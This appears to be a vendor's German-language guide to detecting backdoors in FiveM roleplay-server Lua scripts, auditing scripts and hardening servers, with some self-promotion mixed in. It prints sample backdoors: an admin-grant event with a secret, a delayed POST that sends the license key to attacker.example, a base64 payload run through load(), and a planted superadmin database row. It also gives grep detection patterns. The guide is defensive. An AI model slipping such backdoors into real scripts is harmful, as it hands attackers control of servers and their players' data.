FiveM Server-Sicherheit 2026: Backdoors erkennen, Scripts auditieren, Server härten
Backdoored FiveM-Scripts sind 2026 die größte Bedrohung für RP-Server. Ein geleaktes oder „gecracktes" Script mit einem versteckten Admin-Grant-Event = dein ganzer Server kompromittiert: Admin-Permissions gestohlen, Spielerdaten geleakt, Ingame-Economy zerstört. Dieser Guide erklärt genau wie Backdoors funktionieren, wie du sie in Scripts erkennst die du schon hast, und wie du deinen Server härtest, damit du nie die nächste Horror-Story wirst.
Jeden Monat eskaliert in drei oder vier FiveM-Server-Owner-Discords dieselbe Geschichte: jemand installiert ein „kostenlos geleaktes" Script aus einem zwielichtigen Discord, wacht am nächsten Morgen auf, seine ganze Economy ist resetted, Admin wurde an Random-User verteilt und Spieler-Identitäten exfiltriert. Das Script hatte eine Backdoor. Sie wussten es nicht.
Dieser Guide ist das Playbook dafür, nicht dieser Server zu werden. Er deckt ab, wie Backdoors in echtem Lua-Code aussehen, wie du Scripts auditierst bevor du installierst, welche Server-Hardening-Praktiken tatsächlich was bewegen, und was zu tun ist wenn du vermutest, dass du schon kompromittiert wurdest.
Quick-Checkliste (die 30-Sekunden-Version)
- Niemals „gecrackte" oder „geleakte" Paid-Scripts installieren. 80%+ davon sind backdoored.
- Auditiere jeden Script's server-seitige .lua-Files vor der Installation — schau nach HTTP-Calls, unauthentifizierten Admin-Events, base64-encoded Payloads und obfuscated Server-side Code.
- Nutze Principle of Least Privilege — keine Resource braucht vollen DB-Zugang, wenn sie nur in ihre eigene Tabelle schreibt.
- Kauf von reputablen Anbietern mit verifizierbarer Identität. Trust + Auditability zählen mehr als Preis.
- Lock dein txAdmin ab mit 2FA, restrict Admin-IPs, regelmäßige Audit-Logs.
- Hab Backups. Wenn du gehackt wirst, ist Recovery aus einem sauberen Backup dein einziger sicherer Weg.
Wie Backdoors in FiveM-Scripts tatsächlich funktionieren
„Backdoor" ist ein scary Wort, aber die tatsächlichen Mechaniken sind meist simpel. Fünf häufige Patterns, die wir in echten backdoored Scripts sehen:
1. Unauthentifiziertes Admin-Grant-Event
Der Klassiker. Ein server-seitiger Event-Handler, der Ace-Permissions an jeden Caller vergibt. Sieht so aus in plain Lua:
RegisterServerEvent('cool_script:initPlayer')
AddEventHandler('cool_script:initPlayer', function(secret)
if secret == "k7M9pQ2x" then
ExecuteCommand('add_principal identifier.steam:'..GetPlayerIdentifier(source, 0)..' group.admin')
end
end)
Jeder, der das „Secret" kennt, kann das von einem TriggerServerEvent client-seitig triggern. Der Attacker droppt das Script in ein paar Server, wartet, dann connected er und gibt sich selbst Admin.
2. Versteckte HTTP-Exfiltration
Das Script POSTet still deine Server-Daten an eine Attacker-kontrollierte URL. Häufige Payloads: sv_licenseKey, alle Spieler-Identifier, alle Lizenz-Keys für ANDERE Paid-Scripts die du installiert hast, DB-Credentials aus Env-Variablen.
CreateThread(function()
Wait(30000)
PerformHttpRequest("https://attacker.example/collect", function() end,
"POST", json.encode({
license = GetConvar('sv_licenseKey', ''),
convars = GetCurrentResourceName(),
-- ... mehr sensitive Daten
}), { ['Content-Type']='application/json' })
end)
Notiere: ist in einem delayed Thread gewrappt, sodass der Attack erst 30 Sekunden nach Start feuert — umgeht casual Code-Review.
3. Base64-obfuscated Payload
Das Script enthält einen String „Konfigurations-Daten", der tatsächlich base64-encoded maliziöses Lua ist, decoded und executed zur Runtime:
local cfg = "bG9hZHN0cmluZyhHZXRDb252YXIoJ2hhY2tlcl9wYXlsb2FkJywnJykpKCk="
local decoded = decode_base64(cfg)
load(decoded)()
Run das und du hast keine Ahnung, was es tut. Backdoor-Autoren lieben dieses Pattern, weil es Casual-Grep-Audits besiegt.
4. Database-Pollution-Backdoor
Script schreibt einen Backdoor-Account direkt in die Users-Tabelle — wenn der Attacker sich mit einem spezifischen Identifier einloggt, ist er schon Admin.
-- Läuft einmal bei Resource-Start
MySQL.Async.execute([[
INSERT IGNORE INTO users (identifier, group)
VALUES ('steam:11000010abcd001', 'superadmin')
]])
5. Resource-Loader-Backdoor
Das Script started still eine andere versteckte Resource, die den tatsächlichen maliziösen Code enthält. Das Haupt-Script SIEHT clean aus; die dropped Resource ist versteckt in einem Ordner, der wie eine System-Resource benannt ist.
CreateThread(function()
Wait(5000)
ExecuteCommand('start sessionmanager_helper')
-- ↑ Klingt wie eine legitime Cfx.re-Resource. Ist es nicht.
end)
Wie du ein Script vor der Installation auditierst
Ob du das Script gekauft oder kostenlos bekommen hast, auditiere es. Hier die 5-Minuten-Version:
Schritt 1: Check die fxmanifest.lua
Schau, welche Files geladen werden. Alles in server_scripts läuft mit voller Server-Permissions. Alles, dessen Namen du nicht erkennst, ist suspect.
Red-Flags:
- Files mit Cfx.re-internen Namen (
fxmanifest_helper.lua,core_loader.lua), die nicht dazu gehören - Wildcards in server_scripts, die alles reinziehen (
server/**/*.lua) — leicht, extra Files reinzuschmuggeln - External Resource-References (
'@external/something.lua')
Schritt 2: Grep den server-seitigen Code
Vom Script-Folder, run:
# Verdächtige Patterns
grep -rn "add_principal" .
grep -rn "PerformHttpRequest" .
grep -rn "decode_base64|base64.decode|loadstring|load(" .
grep -rn "ExecuteCommand" .
grep -rn "MySQL.Async.execute.*INSERT" .
grep -rn "GetConvar.*sv_licenseKey" .
# Such nach obfuscated Payloads (lange base64-Strings)
grep -rnE '[A-Za-z0-9+/]{200,}={0,2}' .
Jeder Hit braucht eine Rechtfertigung. Legit-Scripts nutzen PerformHttpRequest manchmal (License-Check, Discord-Webhook), sollten aber offensichtliche Endpoints callen. add_principal in einem Event-Handler ist IMMER verdächtig.
Schritt 3: Lies jeden Server-Event-Handler
Find jedes RegisterServerEvent + AddEventHandler Pair. Verify jeden:
- Checkt die Player-Identity (nicht nur dem Client trauen)
- Validiert die Data-Parameter server-seitig
- Vergibt keine elevated Permissions basierend auf Client-bereitgestellten „Secrets"
Schritt 4: Check auf versteckte Resources
Nach Install, beobachte deine Server-Resource-Liste auf Resources, die gestartet haben, aber du nicht hinzugefügt hast. txAdmin → Resources → Live-Liste.
Auch: run find . -name "fxmanifest.lua" in deinem Resource-Folder. Sollte exakt deinen installierten Scripts matchen. Extras = dropped Backdoor-Resources.
Schritt 5: Wenn das Script server-seitig obfuscated ist, geh weg
Legitime Paid-Scripts schützen ihren CLIENT-Code (um Reverse-Engineering zu verhindern), halten aber Server-Code lesbar, sodass Kunden auditieren können. Ein Script mit voll-obfuscated server-seitigen Files versteckt fast immer etwas. Die wenigen Ausnahmen sind reputable Anbieter mit klarer Identität — verifiable Email, Website, Support-Channels — und selbst dann bevorzugst du Anbieter, die dich auditieren lassen.
Die „Leaked / Cracked Script"-Falle
Die #1-Quelle für Backdoor-Incidents: Server-Owner, die geleakte Paid-Scripts aus zwielichtigen Discord-Servern oder Sharing-Sites installieren.
Warum das Bait ist:
- „Free-Version eines teuren Scripts" lockt Owner an, die nicht zahlen wollen
- Attacker repackt das legitime Script + injectet Backdoor
- Hostet die „geleakte" Version auf Discord, gibt Free-Download
- Hunderte Server installieren es. Attacker wartet, dann mass-kompromittiert er sie.
Geschätzt 80 % der geleakten Paid-Scripts in Umlauf enthalten Backdoors. Diese Stat taucht immer wieder in Incident-Write-Ups auf, und wir glauben sie.
Cost-Benefit: ein 50-€-Script, das deinen Server backdoored, ist nicht kostenlos — es kostet dich deinen Server, deine Community, deine Reputation. Kauf von echten Anbietern.
Server-Hardening: 10 Dinge, die du heute lockdown solltest
1. txAdmin mit 2FA
Aktiviere Two-Factor-Authentication auf deinem txAdmin-Login. Restrict Admin-Access per IP wenn möglich (txAdmin → Settings → Allowed IPs). Nutz starke Passwörter; erwäg einen Password-Manager.
2. SSH Key-only-Access auf deinem Hosting
Wenn du selbst hostest oder einen VPS fährst: disable Password-SSH, nur SSH-Keys, change Default-Port. Fail2ban für zusätzlichen Brute-Force-Schutz.
3. MariaDB-User mit minimalen Permissions
Nicht FiveM connecten zu MariaDB als root. Erstell einen dedizierten User mit nur SELECT/INSERT/UPDATE/DELETE auf deiner FiveM-Database. Niemals GRANT, DROP oder Zugang zu anderen Databases geben.
4. Convars nicht in committed Code
Niemals sensitive Convars zu einem Git-Repo committen oder teilen. Speicher sie in einer separaten server.cfg.private, die geladen aber nicht geteilt wird. Besonders: sv_licenseKey, Discord-Bot-Tokens, Tebex-Secret-Keys.
5. Limit Ace-Permissions explizit
In deiner server.cfg, setup Ace-Gruppen mit klaren Permission-Listen. Niemals group.admin-Command-Access an ein Script vergeben, außer du weißt genau, was es tut.
# Restrict Resources davon, sich selbst zu elevaten
add_ace resource.devcon_garage command.add_principal deny
add_ace resource.devcon_garage command.remove_principal deny
6. Server-seitige Validation auf JEDEM player-getriggerten Event
Trust dem Server, niemals dem Client. Jeder RegisterServerEvent-Handler sollte validieren:
- Player's Identifier (nicht source-bereitgestellte Identity trauen)
- Data-Bounds (Max-Amounts, valid Item-Namen)
- Ownership (Player besitzt das Item / Vehicle / Account, auf dem er handelt)
- Cooldowns (verhindere Rapid-Fire-Abuse)
7. Outbound-Network-Restrictions
Wenn du deinen eigenen dedizierten Server fährst, firewall Outbound-Connections. FXServer braucht Cfx.re, deine DB, vielleicht Discord. Restrict alles andere. Surprise-Outbound zu Random-IPs = Backdoor-Exfiltration-Attempt.
8. Encrypted Backups, Off-Site
Tägliche DB-Backups, encrypted, gespeichert off-site (S3, Backblaze B2, oder separater VPS). Wenn du kompromittiert wirst, restorest du von vorher. Wenn Backups auf der gleichen Maschine wie der Server sind, wipet der Attacker beide.
9. Nutz ein License-verified Script-Ökosystem
Kauf von Anbietern mit eigenen License-Verification-Systemen. Bei devCon ist jedes Script, das du kaufst, durch unser eigenes zentrales License Guard-System an deinen Account gebunden — RSA-signierte License-Validation, Runtime-Binding an deinen Server, instant Revocation wenn eine License leakt. Das bedeutet:
- Geleakte devCon-Scripts funktionieren nicht auf jemand anderem Server (Server-Binding via License-Check)
- Wenn deine License exposed wird, können wir sie remote revoken, ohne deine anderen Purchases zu beeinflussen
- Du kannst das Verhalten unseres License-Guards auditieren (es calls home zu devcon.studio, RSA-verified Responses, volle Transparenz)
10. Logging + Audit-Trails
Logging laufen lassen für:
- Alle Admin-Commands executed (txAdmin macht das by default)
- Alle Money-Transactions über 10k$ ingame
- Alle Ace-Permission-Changes
- Login-Source-IPs für Staff-Discord
Du wirst die Logs nicht täglich lesen. Aber wenn was schiefgeht, sind sie der Unterschied zwischen „keine Ahnung" und „wir haben es erwischt".
Eine Kompromittierung erkennen
Anzeichen dass dein Server backdoored wurde:
- Random-Player haben unerklärte Admin / Ace-Permissions
- Spieler reporten Geld/Items, die sie nicht verdient haben
- Database hat Rows, die du nicht erstellt hast (Users, Characters, Accounts)
- Unfamiliäre Resources zeigen in
resource list - Outbound-Traffic zu verdächtigen IPs in Firewall-Logs
- Spieler reporten, dass ihr Account benutzt wurde, während sie nicht online waren
Wenn du kompromittiert wurdest: Recovery-Steps
Wenn du Kompromittierung vermutest, handel in dieser Reihenfolge:
- Nimm den Server offline. Stop FXServer. Nicht „cool spielen" — du lässt den Attacker nur mehr Schaden anrichten.
- Rotate ALLE Secrets.
sv_licenseKey, Discord-Tokens, Tebex-Keys, DB-Passwörter, SSH-Keys, txAdmin-Passwörter. - Restore deine DB aus sauberem Backup. Pre-Compromise-Backup. Deswegen zählen Off-Site-Backups.
- Auditiere jede installierte Resource. Entferne alles, was du nicht aktiv installiert hast. Re-downloade jedes Script aus offiziellen Anbieter-Quellen.
- Check Ace-Groups in server.cfg. Entferne jede Gruppe/Permission, die du nicht hinzugefügt hast.
- Notify deine Spieler. Sag ihnen, was passiert ist. Player-Trust hängt von Transparenz ab. Verstecken = schlechtere Outcomes langfristig.
- Dokumentiere den Incident. Welches Script war die Quelle? War es geleakt/gecrackt? Kauf echte, dokumentiere öffentlich, damit andere es vermeiden.
- Dann Server wieder hoch. Beobachte closely für die nächsten 2 Wochen für Wiederauftauchen.
Vendor-Selection: Wem trauen
Marker eines vertrauenswürdigen Script-Anbieters:
- Identifizierbares Team. Echte Namen, echte Website, echter Discord mit aktivem Support.
- Server-seitiger Code lesbar. Nur Client-Code obfuscated (legitime IP-Protection).
- Aktive Kundenbasis + Reviews. Anbieter mit 1000+ Deployments und aktivem Support-Discord ist sehr unwahrscheinlich maliziös — zu viel Risiko für zu kleinen Gain.
- License-System Phone-Home ist transparent. Wenn der Anbieter ein License-Verification-System nutzt, sollte es auditierbar sein. Calls zu bekannten Vendor-Domains, RSA-verifiable Responses, keine Data-Exfiltration.
- Refund-Policy und aktiver Support. Echte Businesses scheren sich um Reputation; Scammer nicht.
Das ist exakt der Standard, an den wir uns bei devCon Studio halten: unser server-seitiger Code ist lesbar, unser License-System ist dokumentiert, unser Support ist aktiv, und unser Team ist identifizierbar durch unsere Website und Discord.
Infrastruktur-Entscheidungen zählen auch
Hosting zählt für Security über Performance hinaus. Wir empfehlen Avoro — deutscher Anbieter, DDoS-Schutz always-on, isolierte VMs, gutes Firewall-Tooling. Siehe unseren FiveM-Hosting-Vergleich. Ein Hoster, der dir volle Firewall-Kontrolle + guten DDoS-Schutz gibt, macht Hardening 10x einfacher.
Für deinen Script-Stack: devCon-Produkte bei devCon Studio nutzen alle unseren eigenen zentralen License Guard mit audit-friendly Verhalten. Keine versteckten HTTP-Calls, kein obfuscated server-seitig, keine Surprise-Resources. Vergleich mit einem Random-Tebex-Kauf, wo du nicht weißt, was in der Box ist.
Anti-Cheat ist separat von Server-Security
Wichtige Unterscheidung: Anti-Cheat (WaveShield, FiveGuard) schützt gegen PLAYER-Cheats (Modmenus, Lag-Switches). Server-Security schützt gegen KOMPROMITTIERTE SCRIPTS, die Attackern Admin-Access geben. Du brauchst beides.
Siehe unseren FiveM Anti-Cheat-Vergleich für die Player-Cheat-Seite.
Alles zusammen
FiveM-Server-Security 2026 ist hauptsächlich über:
- Keine untrustworthy (geleakte/gecrackte) Scripts installieren
- Auditieren, was du installierst
- txAdmin, SSH, MariaDB, Ace-Permissions härten
- Saubere Backups off-site halten
- Von Anbietern kaufen mit verifiable, audit-friendly License-Systemen
Die meisten Server-Kompromittierungen sind verhinderbar. Die Owner, die getroffen werden, skippen meist den Audit-Schritt oder installieren ein geleaktes Script „nur um zu sehen, ob es funktioniert". Sei nicht die.